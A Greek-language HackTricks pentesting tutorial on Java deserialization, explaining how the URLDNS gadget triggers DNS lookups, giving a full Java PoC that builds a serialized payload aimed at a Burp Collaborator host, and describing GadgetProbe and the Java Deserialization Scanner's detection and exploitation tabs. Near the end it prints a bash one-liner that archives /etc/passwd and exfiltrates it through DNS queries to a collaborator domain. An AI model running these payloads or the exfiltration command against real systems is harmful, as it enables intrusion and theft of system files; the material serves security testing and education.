# Java DNS Deserialization, GadgetProbe και Java Deserialization Scanner {{#include ../../banners/hacktricks-training.md}} ## DNS αίτημα κατά την αποσειριοποίηση Η κλάση `java.net.URL` υλοποιεί το `Serializable`, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσειριοποιηθεί. ```java public final class URL implements java.io.Serializable { ``` Αυτή η κλάση έχει μια **περίεργη συμπεριφορά.** Από την τεκμηρίωση: “**Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP**”.\ Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί **οποιαδήποτε** από τις **συναρτήσεις `equals`** ή **`hashCode`** μια **DNS αίτηση** για να αποκτήσει τη διεύθυνση IP θα **σταλεί**. **Η κλήση** της συνάρτησης **`hashCode`** **από** ένα **αντικείμενο URL** είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα `HashMap` που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή **στο τέλος** της **συνάρτησης `readObject`** από το `HashMap` εκτελείται αυτός ο κώδικας: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { [ ... ] for (int i = 0; i < mappings; i++) { [ ... ] putVal(hash(key), key, value, false, false); } ``` Είναι **να** **εκτελεί** το `putVal` με κάθε τιμή μέσα στο `HashMap`. Αλλά, πιο σχετική είναι η κλήση στο `hash` με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης `hash`: ```java static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } ``` Όπως μπορείτε να παρατηρήσετε, **κατά την αποσειριοποίηση** ενός **`HashMap`** η συνάρτηση `hash` θα **εκτελείται με κάθε αντικείμενο** και **κατά τη διάρκεια** της εκτέλεσης του **`hash`** **θα εκτελείται** το `.hashCode()` του αντικειμένου. Επομένως, αν **αποσειριοποιήσετε** ένα **`HashMap`** **που περιέχει** ένα **αντικείμενο URL**, το **αντικείμενο URL** θα **εκτελέσει** το `.hashCode()`. Τώρα, ας ρίξουμε μια ματιά στον κώδικα του `URLObject.hashCode()`: ```java public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; ``` Όπως μπορείτε να δείτε, όταν ένα `URLObject` εκτελεί `.hashCode()`, καλείται `hashCode(this)`. Μια συνέχεια μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης: ```java protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); [ ... ] ``` Μπορείτε να δείτε ότι εκτελείται ένα `getHostAddress` στο domain, **εκκινώντας ένα DNS query**. Επομένως, αυτή η κλάση μπορεί να **καταχραστεί** προκειμένου να **εκκινήσει** ένα **DNS query** για να **δείξει** ότι είναι δυνατή η **deserialization**, ή ακόμα και για να **εξάγει πληροφορίες** (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής). ### URLDNS payload code example Μπορείτε να βρείτε τον [κώδικα payload URDNS από το ysoserial εδώ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial): ```java import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; import java.net.URL; public class URLDNS { public static void GeneratePayload(Object instance, String file) throws Exception { //Serialize the constructed payload and write it to the file File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //Read the written payload and deserialize it ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); Object obj = in.readObject(); System.out.println(obj); in.close(); } public static void main(final String[] args) throws Exception { String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; HashMap ht = new HashMap(); // HashMap that will contain the URL URLStreamHandler handler = new SilentURLStreamHandler(); URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. // During the put above, the URL's hashCode is calculated and cached. // This resets that so the next time hashCode is called a DNS lookup will be triggered. final Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u, -1); //Test the payloads GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); } } class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } ``` ### Περισσότερες πληροφορίες - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) - Στην αρχική ιδέα, το payload των commons collections άλλαξε για να εκτελέσει ένα DNS query, αυτό ήταν λιγότερο αξιόπιστο από τη προτεινόμενη μέθοδο, αλλά αυτή είναι η ανάρτηση: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe Μπορείτε να κατεβάσετε [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) από το Burp Suite App Store (Extender). **GadgetProbe** θα προσπαθήσει να καταλάβει αν κάποιες **Java κλάσεις υπάρχουν** στην Java κλάση του διακομιστή ώστε να γνωρίζετε **αν** είναι **ευάλωτος** σε κάποια γνωστή εκμετάλλευση. ### Πώς λειτουργεί **GadgetProbe** θα χρησιμοποιήσει το ίδιο **DNS payload της προηγούμενης ενότητας** αλλά **πριν** εκτελέσει το DNS query θα **προσπαθήσει να αποσειρθεί μια αυθαίρετη κλάση**. Αν η **αυθαίρετη κλάση υπάρχει**, το **DNS query** θα **σταλεί** και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το **DNS** αίτημα **ποτέ δεν σταλεί**, αυτό σημαίνει ότι η **αυθαίρετη κλάση δεν αποσειράθηκε** επιτυχώς, οπότε είτε δεν είναι παρούσα είτε δεν είναι **serializable/exploitable**. Μέσα στο github, [**GadgetProbe έχει κάποιες wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) με Java κλάσεις για δοκιμή. ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>) ### Περισσότερες Πληροφορίες - [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) ## Java Deserialization Scanner Αυτός ο σαρωτής μπορεί να **κατέβει** από το Burp App Store (**Extender**).\ Η **επέκταση** έχει **παθητικές** και ενεργές **ικανότητες**. ### Παθητική Από προεπιλογή, **ελέγχει παθητικά** όλα τα αιτήματα και τις απαντήσεις που αποστέλλονται **αναζητώντας** **Java serialized magic bytes** και θα παρουσιάσει μια προειδοποίηση ευπάθειας αν βρεθεί κάποια: ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>) ### Ενεργή **Χειροκίνητη Δοκιμή** Μπορείτε να επιλέξετε ένα αίτημα, να κάνετε δεξί κλικ και `Send request to DS - Manual Testing`.\ Στη συνέχεια, μέσα στην καρτέλα _Deserialization Scanner Tab_ --> _Manual testing tab_ μπορείτε να επιλέξετε το **σημείο εισαγωγής**. Και **να ξεκινήσετε τη δοκιμή** (Επιλέξτε την κατάλληλη επίθεση ανάλογα με την κωδικοποίηση που χρησιμοποιείται). ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png) Ακόμα και αν αυτό ονομάζεται "Χειροκίνητη δοκιμή", είναι αρκετά **αυτοματοποιημένο**. Θα ελέγξει αυτόματα αν η **αποσειροποίηση** είναι **ευάλωτη** σε **οποιοδήποτε ysoserial payload** ελέγχοντας τις βιβλιοθήκες που είναι παρούσες στον διακομιστή ιστού και θα επισημάνει αυτές που είναι ευάλωτες. Για να **ελέγξετε** για **ευάλωτες βιβλιοθήκες** μπορείτε να επιλέξετε να εκκινήσετε **Javas Sleeps**, **sleeps** μέσω **κατανάλωσης CPU**, ή χρησιμοποιώντας **DNS** όπως έχει αναφερθεί προηγουμένως. **Εκμετάλλευση** Αφού έχετε εντοπίσει μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα _Exploiting Tab_.\ Σε αυτή την καρτέλα πρέπει να **επιλέξετε** ξανά το **σημείο εισαγωγής**, να **γράψετε** τη **ευάλωτη βιβλιοθήκη** για την οποία θέλετε να δημιουργήσετε ένα payload, και την **εντολή**. Στη συνέχεια, απλώς πατήστε το κατάλληλο κουμπί **Επίθεσης**. ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png) ### Java Deserialization DNS Exfil πληροφορίες Κάντε το payload σας να εκτελεί κάτι σαν το παρακάτω: ```bash (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` ### Περισσότερες Πληροφορίες - [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}}